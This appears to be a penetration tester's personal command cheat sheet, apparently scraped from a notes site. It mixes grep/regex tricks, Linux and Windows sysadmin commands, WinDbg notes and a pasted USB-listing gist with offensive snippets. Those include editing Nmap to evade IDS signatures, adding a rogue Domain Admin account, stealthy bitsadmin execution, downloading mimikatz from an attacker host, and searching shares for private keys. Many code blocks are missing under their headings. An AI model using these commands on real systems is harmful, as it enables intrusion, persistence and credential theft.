Code review & Regular Expression commands
- Used for manual code review
- A good IDE could also help in tracing once specific lines are found
- A simple example of editors that could do this is Sublime Text and Notepad++ which can search through folders and use regex
- For more Regex references, see my TEMPLATE.py
Grep Fu section
for i in $(grep -R <PATTERN_YOU_ARE_LOOKING_FOR>|cut -d : -f 1|sort -u); do echo "\n==========$i==========\n" && cat $i && read -s -d ' ' && clear;done
for i in $(grep -R <$PATTERN1>|cut -d : -f 1|sort -u); do echo "\n==========$i==========\n" && cat $i|grep -i <$PATTERN2> && read -s -d ' ' && clear;done
for i in $(grep -R <$PATTERN1>|cut -d : -f 1|sort -u); do echo "\n==========$i==========\n" && gedit $i;done
grep -rnw --color "<Pattern>"
# To show only-matching
grep -rnw -o --color "<Pattern>"
# To show only files containing tha pattern. Useful when there a lot of text in the grep
grep -rnw -l --color "<Pattern>"
# To exclude certain file extensions.
grep -rnw --color "<Pattern>" --exclude "*.js"
Regex Section
Targeted/Group Matching
perl -lne 'print $1 if /<R(E)GEX>/' < *
perl -lne 'print "$1/$2" if /<R(E)GE(X)>/' < *
perl -lne 'print "$1/$2" if /src=\"(.*?)\/(.*?)\//' blob.txt
for i in $(find .); do perl -lne 'print "$1/$2" if /src=\"(.*?)\/(.*?)\//' 2>/dev/null < $i;done|sort -u
Grouping^1
a(bc) parentheses create a capturing group with value bc
a(?:bc)* using ?: we disable the capturing group
a(?<foo>bc) using ?<foo> we put a name to the group -> Try it!
To Test: https://regex101.com
Email Regex
URL Regex
IP Address^2
cat * | egrep -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"
Subdirectory finder
for i in $(find .); do perl -lne 'print "$1" if /https\:\/\/domain\.com\/(.*?)[\/\"]/' 2>/dev/null < $i;done|sort -u
for i in $(find .); do perl -lne 'print "$1" if /href\=\"(.*?)[\/\"]/' 2>/dev/null < $i;done|grep -v "http:" |grep -v "https:" | sed "s/\&\#32\;/\ /g" | grep -v "\.html" |sort -u
Modyfy the following file to remove SNORT/Suricata detections
=> osscan2.cc
User-Agent
ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap Scripting Engine
User-Agent will be seen in the packet so lets remove the default
SET =>
USER_AGENT = stdnse.get_script_args('http.useragent') or "Mozilla/3.0 (compatible; )"
TCP Windows
ET SCAN NMAP -sS window 1024
ZMap
Detect ZMAP scan
Useful commands in Linux
comm
- Substitute if not satisfied with diff^1
read
- Used for pausing mid loop and possibly asking for user input
- Usually seen with
<Press any key to continue>
sed
Basic Sed Commands
- Replace 'newlines' or
\n
with sed - Remove 1st and last character
Recursive sed
- In case you want to change values in a lot of text files
- One of the many ways ^2
- Change the 4 values between
< >
shred
- Delete files
- This cannot easily although still possible to be recovered
testdisk
- Recover accidentally deleted file (i.e. using
rm
)[^3]
ps (Wide output)
- Everybody knows
ps aux
- this however generates a limited output
- to show the whole command, do: (add or lessen 'w' if needed)
grep
- Asides from the common uses of grep
- to filter out all lines ending in a specific character
- Use case: filtering out exported URLs which has duplicates where one URL ends in '/' and one without
RDP
-
Connecting to a Windows host via RDP
-
Compressed RDP for low bandwidth or slow RDP connections
# MTU config first ifconfig mtu 1200 <interface> ifconfig mtu 1200 tun0 # rdesktop rdesktop -a 16 -z -r sound:remote -x b -g 1900x1000 -u <USERNAME> -p <PASSWORD> 192.168.1.5 rdesktop -d <domain> -u <username> -p <password or '-' for prompt> -a 16 -P -z -E -T <TAG-WindowName> <RDPHOST_IP> rdesktop -d company.local -u administrator -p P@ssw0rd -a 16 -P -z -E -T COMPANY-DC3 10.10.10.100
iptables ^4
# View rules
sudo iptables -L --line-numbers
# Add rule
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 22 -j ACCEPT
# Drop from everybody else
sudo iptables -A INPUT -p tcp --dport 22 -j DROP
# Save rules
sudo /sbin/iptables–save
# Delete Rule
sudo iptables -D INPUT <line_num>
# Example:
# Only allow SSH connection from 192.168.1.0/24
sudo iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 22 -j DROP
Mirror a website
wget --mirror --convert-links --adjust-extension --page-requisites --wait=1 -o wget-mirror.log --no-parent https://example.org
Upload files via Curl
- Combine with Simple HTTP(s) Servers
Upgrade Reverse shell to fully interactive TTY[^6]
- In reverse shell
- In Attacker console
- In reverse shell
Create a user
# Create a user
useradd user -U -s /bin/bash
# Create a sudo user
useradd user -G sudo -U -s /bin/bash
Transfer files using nc (netcat)[^7]
- Basic
- With compression
Base64 encode
- Some use cases:
- Encoding Powershell one-liners
- Another way below but prioritize above
Rsync
- Similar to SCP but better overall especially long term[^8]
Compressed RDP for low bandwidth
- Lower your MTU first
- rdesktop
rdesktop -a 16 -z -r sound:remote -x b -g 1900x1000 -u <USERNAME> -p <PASSWORD> 192.168.1.5 rdesktop -a 16 -z -r sound:remote -x b -g 1900x1000 -u master -p masterlab 192.168.1.5 rdesktop -a 16 -P -z -E -T <TAG-WindowName> -d <domain> -u <username> -p <password or '-' for prompt> 192.168.1.5 rdesktop -a 16 -P -z -E -T COMPANY-DC3 -d company.local -u administrator -p P@ssw0rd 192.168.1.5
Encrypting files
zip[^8]
tar & OpenSSL[^9][^10]
- Unreliable decryption (Have not yet figured out if it's due to different openssl versions or arch)
- This one requires an active tty, need to manually type passphrase
- Did not work in some instances, try on Debian
- Decryption
Generate random passwords
openssl rand 256 | sha256sum | cut -d " " -f1
SERVICE_PASSWORD=$(openssl rand 32 | sha256sum | cut -d' ' -f1)
echo $SERVICE_PASSWORD
Go through filenames with spaces
- Basic[^11]
- Sample Use Case:
- Export thunderbird inbox to get attachments and move all of the exported attachments into 1 folder for easy viewing/archiving
-
In Thunderbird:
ImportExportTools NG -> Export all messages in the folder - > as single text file (with attachments)
-
Sample command:
List files and sort via date time
Sort contents of a file in reverse
- Sort from the last letter to the first [^13]
Beep
- Beep! [^14]
- Useful when you want to get notified if a task has finished (i.e. nmap scan, hashcat cracking).
- Productivity, no idle time/processing power
-
Make sure the Sound card is enabled on the VM settings
-
Basic Usage
- Practical Usage
grep for file extensions
- This is when scouring a list not your own filesystem
- I use this when looking for spidered shares
- If you search for
.pub
for example, you may end up seeing....Web.Publishing/notcool.js
- Which is why we search for a file extension beside
\n
[^15]
sudo apt install -y pcregrep
cat spidered_shares.txt|pcregrep -M "\.pub.\n"
cat spidered_shares.txt|pcregrep -M "\.key.\n"
cat spidered_shares.txt|pcregrep -M "\.ppk.\n"
Mobile App Security Testing
Some commands
Logcat
- Following process
- Can be made more verbose/detailed though
Useful tips and tricks in Python
TEMPLATE or Skeleton script with tips and references
- This can be found in TEMPLATE.py which is in the Script_Yard repo
Generate requirements.txt
- JCharisTech^1
Update all pip packages
python3 -m pip install --upgrade pip
pip3 list --outdated --format=freeze | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip3 install -U
Global Variables
# Below "import" <insert_package_names>
timeout = None
def imAFunction():
if i > timeout:
print("Greater than timeout")
# Inside function. In this example main()
global timeout
timeout = args.timeout
URL Encode Python String
import urllib.parse
action = urllib.parse.quote_plus("GET_[TO]-THE")
location = urllib.parse.quote_plus("CHOPP@!")
url = "www.domain.com:2323/whatever?action=%s&location=%s" % (action,location)
Accept custom certificate
- When using proxy (i.e. Burp), rather than using
verify=False
in therequest.get
orrequest.post
, convert the Burp certificate cacert.der instead to cacert.pem then use in on python requests. ^2 - Most common use case is the usage of burp certificate for python requests SSL error.
WinDbg
Shortcut Keys
- ++f6++ : Attach a process
- ++ctrl+break++ : Break (Force breakpoint)
Basic commands/shortcuts
g
: Go/Continue from breakpointu
: Unassemble (View/Display the assembly translation from memory)u
: Display from EIPu <address/symbol>
u kernel32!GetCurrentThread
d<X>
: Read process memory contentdb <args>
: Display bytesdw <args>
: Display WORD (2 bytes)dd <args>
: Display DWORD (4 bytes)dq <args>
: Display QWORD (8 bytes)dc <args>
: Display DWORD w/ASCII (8 bytes)dW <args>
: Display WORD w/ASCII (2 bytes)d<X> <address/symbol+0xOFFSET> <L<X>>
: Common Argumentsd<X> KERNELBASE+0x40 L8
d<X> poi(esp) L4
- Notes:
poi(X)
: Pointer to DataL<X>
: Display Length depends on the value of X ind<X>
dt <structure>
: Display Type (Display Structure)dt ntdll!_TEB
dt <structure> @$teb
: To get address if field is a Ptr(Pointer)dt <structure> <@$teb> <field>
: For specific field only- Notes:
?? sizeof(<structure>)
: To get size of structuree<X> <address/register>
: Edit memoryed esp 50505050
ea esp "hello"
s -<X> 0 L?80000000 <bytes/keyword>
: Search in memory. "0 L?80000000" means whole memory spaces -d L?80000000 50505050
s -a L?80000000 "trojand"
r
: Inspect Registersr esp
r esp=50505050
: Editing Registersb<X> <args>
: Breakpointbp <symbol/address>
: Insert breakpointbp kernel32!ReadFile
bl
: List breakpointsbd <#>
: Disable breakpointbe <#>
: Enable breakpointbe 0
bc <#>
: Clear breakpoint numberbc *
: Clear all breakpointsbu <module>
: Breakpoint at an unresolved endpoint(module that is not yet loaded)ba <e/w/r> <bytes> <module/address>
: Hardware breakpoints- Use to monitor access and changes in memory
- Does not alter code to put
INT 3
instruction, see it as it is ba e 1 kernel32!WriteFile
ba w 2 <address>
: monitor if first letter will be modified(edited) in memory. i.e. editing notepad without saving- Breakpoint-based actions:
bp <symbol/address> "<args>"
bp <symbol/address> "<.if (<condition>) {<if_condition_met_args>} .else {<else_condition_met_args>}>"
bp kernel32!WriteFile ".if (poi(esp + 0x0C) == 4) {.printf \"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\nHey it's 4 bytes! Stopping at breakpoint now...\\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\n\"} .else {.printf \"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\nThe number of bytes written is %p \\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\n\",poi(esp + 0x0C);.echo;gc;}"
p
: Executes single instruction on a breakpoint. Steps over the function call.t
: Executes single instruction on a breakpoint. Steps inTo the function call.pt
: Step to next return (ret
) instruction-
ph
: Step to next brancHing (je/jne
) instruction -
lm
: Display Loaded Modules lm m <module_keywo*>
: Browse Moduleslm m kernel*
x <module>!<symbo*>
: eXamine symbolsx kernelbase!String*
x KERNELBASE!StringCchLength
-
.reload /f
: force reload modules (if not yet loaded) -
? <hex> <operand> <hex>
: WinDbg Calculation ? b - 1
: Equalsa
? <hex>
: From hex to hex but producing decimal value on the left of=
.? a
:10 = 0000000a
? 0n<decimal>
: From decimal to hex.? 0n10
:10 = 0000000a
? 0n10
: From binary to hex but producing decimal value on the left of=
.? 0y1111
:15 = 0000000f
.formats <hex>
: Display format in different types.formats 54>
: below
Evaluate expression:
Hex: 00000054
Decimal: 84
Octal: 00000000124
Binary: 00000000 00000000 00000000 01010100
Chars: ...T
Time: Wed Dec 31 16:01:24 1969
Float: low 1.17709e-043 high 0
Double: 4.15015e-322
@$t0
to @$t19
* r @$t0 = (5454 - 54) * 0n10
* r @$t0
: $t0=00034800
* r @$t1 = @$t0 >> 8
* r @$t1
: $t1=00000348
.cls
: clear screen
Useful commands in Windows
Windows - Command Prompt
Find a file
Find strings in files
Find multiple words, strings and patterns
- (Equivalent of
grep -e WORD1 -e WORD2 -e WORD3
)
Enable default local "administrator" account
Adding local accounts (Must have system privileges)
Adding a Domain Admin account
net group "Domain Admins"
net user trojandDA P@ssw0rd /add /domain
net group "Domain Admins" trojandDA /add /domain
net group "Domain Admins"
List files using tree
Change user password
Windows Built-in Plink for relay
netsh interface portproxy add v4tov4 listenport=<LPORT> listenaddress=0.0.0.0 connectport=<RPORT> connectaddress=<RHOST>
Show wireless interfaces
Check for logged on users
List local drives^1
bitsadmin[^4]
Copying a File
- Better than copy. Less conspicuous by having the service do it for you.
Execute a file
- Good for executing files as this will run under
svchost -k netsvcs
as a child process and not under you command promptbitsadmin /create JOB & bitsadmin /addfile JOB <LOCAL_SRC> <LOCAL_DST> & bitsadmin /SetNotifyCmdLine JOB <PROGRAM_NAME> <PARAMETERS> & bitsadmin /resume JOB & bitsadmin /reset bitsadmin /create JOB & bitsadmin /addfile JOB %TEMP%\test1.txt %TEMP%\test2.txt & bitsadmin /SetNotifyCmdLine JOB C:\Windows\System32\calc.exe NULL & bitsadmin /resume JOB & bitsadmin /reset
Windows - Powershell
Nested quotes or wrapping multiple double quotes
- Triple double quotes to make one double quote.
- In the example below, the whole RCE command is taken as a variable. Think of the single quotes also as the command portion in your RCE expoits.
- For executing in powershell directly (i.e. interactive powershell), you must use a Grave Accent symbol before the three(3) double quotes.
- BEWARE: This does not seem to work if you are to encode the whole command (IEX...). Better to encode payload/command from Windows to see if it gives an error
Download & Uploading files
- Ignore bad/untrusted/self-signed certificates
- Download only ^1
Invoke-WebRequest "http://<KALI_IP>:8000/mimikatz.zip" -Out mimikatz.zip (New-Object System.Net.WebClient).DownloadFile("https://example.com/archive.zip", "C:\Windows\Temp\archive.zip") $client = new-object System.Net.WebClient $client.DownloadFile("http://<KALI_IP>:8000/mimikatz.zip","mimikatz.zip")
- Download and execute
- Uploading files
- Setup a Simple HTTP Server for this command.
cat, tail, grep in Windows PS
- Reading Files
- Tail
- Tail -f
- Grep
- Grep -A 3
- Tail -f | Grep -A 3
Find files and contents
- Find files with using filenames
- Find contents in files
Expand Archives
Compress and Archive
- Powershell 5.0 and greater
- Powershell 3.0 [^6]
Base64 Encode Powershell commands
- Some use cases:
- Encoding^2 Powershell one-liners
List directory and sort by Date Time
- Useful when trying to delete any files written to disk (i.e. procdump64.exe/lsassy.exe) and need to sort out through bunch of files (i.e. C:\Windows\temp)
- Command Prompt
- Powershell (sorted by date(LastWriteTime). For sorting via other datetime fields, just press “TAB”)
Tasklist
- Find PID of a process
- CMD
- Powershell
Taskkill
- Killing tasks after
tasklist /V
^5 - Useful when killing command and process which did not working and pressing ++ctrl+c++ exited the whole terminal
Print all HTTP Response Headers
Including Status code ^1
fmt.Printf("RESPONSE:\n")
fmt.Println(resp.Status)
for k, v := range resp.Header {
fmt.Print(k)
fmt.Print(" : ")
fmt.Println(v)
}
Print Full HTTP Request and Response
Includes Headers and Body in a well formatted way ^2
* Request
* "Use httputil.DumpRequest()
if you want to pretty-print the request on the server side."
* "Use httputil.DumpRequestOut()
if you want to dump the request on the client side."
reqDump, err := httputil.DumpRequestOut(req, true)
if err != nil {
log.Fatal(err)
}
fmt.Printf("REQUEST:\n%s", string(reqDump))
- Response
JQ tips
Disclaimer
There is no need for this nonsense. Refer to this awesome person: Lzone jq cheatsheet
Installation
sudo apt install jq
Filtering (Grepping) for specific key values, then selecting a specific key afterwards
- Example given: Bloohound collector’s json data. Finding hosts with Unconstrained Delegation.
Printing 2 or more values
- Example: For priting the email and password/hashed_password from dehashed at the same time
How to list USB devices on linux command line
The following Gist describes the use of different commands to list all USB devices. Feel free to comment and contribute.
Table of Contents
1. First option - DF Command
What you probably are looking for is the df
command. This command (which reports the file system disk space usage) can be used along with grep
to only print the lines that match the patterns we require, in our case, media. As no file name is given, it will look for mounted file systems so if your USB is encrypted and not already mounted it won't be displayed.
Where the output is:
Option | Description |
---|---|
-T | Print file system type |
-h | Human readable (print sizes in powers of 1024) |
-H | Print sizes in powers of 1000 |
2. Second option - PARTED Command
In this case we are going to list the USB devices using a partition manipulation program. This command is named parted
and requires superuser (root) privileges.
Where the output is:
Model: Vendors model (scsi)
Disk /dev/sda: 62,9GB
Sector size (logical/physical): 512B/512B
Partition Table: loop
Disk Flags:
Number Start End Size File system Flags
1 0,00B 62,9GB 62,9GB ext2
Model: Your computer (nvme)
Disk /dev/nvme0n1: 256GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Disk Flags:
Number Start End Size File system Name Flags
1 1049kB 538MB 537MB fat32 EFI System Partition boot
2 538MB 2685MB 2147MB linux-swap(v1) swap
3 2685MB 4833MB 2147MB zfs
4 4833MB 256GB 251GB zfs
Option | Description |
---|---|
-l | Lists partition layout on all block devices |
-m | Use it along with -l option to display machine parseable output |
3. Third option - FDISK Command
The third option also requires the use of sudo
to list the disk partition table with the command fdisk
.
Where the output is:
Option | Description |
---|---|
-l | List the partition tables for the specified devices and then exit. If no devices are given, those mentioned in /proc/partitions are used |
4. Fourth option - LSBLK Command
Here the command lists block devices. The command prints all block devices (except RAM disks) in a tree-like format by default. sudo blkid | grep sd
can also be used.
Where the output is:
5. Fifth option - FINDMNT Command
findmnt
will list all mounted filesystems or search for a filesystem so if your USB is encrypted and not already mounted it won't be shown.
Where the output is:
6. Sixth option - LSUSB Command
This option won't tell where the device is mounted or how it is called but list all USB devices and display information about its buses in the system and the devices connected to them. Type only one -v
to show less information, two -vv
for full information. Once you have identified the bus
and dev
variables of your USB device, then you could grep
them to usb-devices
for even more information.
Where the output is:
/: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/6p, 5000M
ID 1d6b:0003 Linux Foundation 3.0 root hub
/sys/bus/usb/devices/usb2 /dev/bus/usb/002/001
/: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/12p, 480M
ID 1d6b:0002 Linux Foundation 2.0 root hub
/sys/bus/usb/devices/usb1 /dev/bus/usb/001/001
|__ Port 1: Dev 22, If 0, Class=Mass Storage, Driver=usb-storage, 480M
ID 0930:6544 Toshiba Corp. TransMemory-Mini / Kingston DataTraveler 2.0 Stick
/sys/bus/usb/devices/1-1 /dev/bus/usb/001/022
|__ Port 5: Dev 3, If 3, Class=Video, Driver=uvcvideo, 480M
ID 05c8:0815 Cheng Uei Precision Industry Co., Ltd (Foxlink)
/sys/bus/usb/devices/1-5 /dev/bus/usb/001/003
|__ Port 5: Dev 3, If 1, Class=Video, Driver=uvcvideo, 480M
ID 05c8:0815 Cheng Uei Precision Industry Co., Ltd (Foxlink)
/sys/bus/usb/devices/1-5 /dev/bus/usb/001/003
|__ Port 5: Dev 3, If 2, Class=Video, Driver=uvcvideo, 480M
ID 05c8:0815 Cheng Uei Precision Industry Co., Ltd (Foxlink)
/sys/bus/usb/devices/1-5 /dev/bus/usb/001/003
|__ Port 5: Dev 3, If 0, Class=Video, Driver=uvcvideo, 480M
ID 05c8:0815 Cheng Uei Precision Industry Co., Ltd (Foxlink)
/sys/bus/usb/devices/1-5 /dev/bus/usb/001/003
|__ Port 7: Dev 5, If 0, Class=Wireless, Driver=btusb, 12M
ID 8087:0a2b Intel Corp.
/sys/bus/usb/devices/1-7 /dev/bus/usb/001/005
|__ Port 7: Dev 5, If 1, Class=Wireless, Driver=btusb, 12M
ID 8087:0a2b Intel Corp.
/sys/bus/usb/devices/1-7 /dev/bus/usb/001/005
Option | Description |
---|---|
-t | Tells lsusb to dump the physical USB device hierarchy as a tree |
-v | Verbose. Tells lsusb to be verbose and display detailed information about the devices shown |
[Reference]
[^3]: It's FOSS [^4]: Fedora Project
[^6]: 6c2e6e2e - Spawning interactive reverse shells with TTY [^7]: Tutorials Technology - How to transfer files over the network using Netcat [^8]: StackOverflow - How zip file with encryption from bash script [^9]: Tecmint - How to Encrypt and Decrypt Files and Directories Using Tar and OpenSSL [^10]: StackOverflow - Securely passing password to openssl via stdin [^11]: AskUbuntu - Filenames with spaces breaking for loop, find command [^12]: StackOverflow - Understanding a sed command: sed 's/\s\s*/ /g' [^13]: Stackoverflow - How to sort a list of words by the last character [^14]: Reddit - Beep could not open any device... [^15]: StackOverflow- How to give a pattern for new line in grep? [^16]: Windows Commandline - List local drives from command line
[^18]: Tech Expert [^19]: TrustedSec - BITS for Script Kiddies [^20]: Windows Commandline - taskkill [^21]: Shellhacks - Windows: Zip | Unzip – Command Line
[^23]: Medium - Gitconnected [^24]: Factory Mind [^25]: Regex Tutorial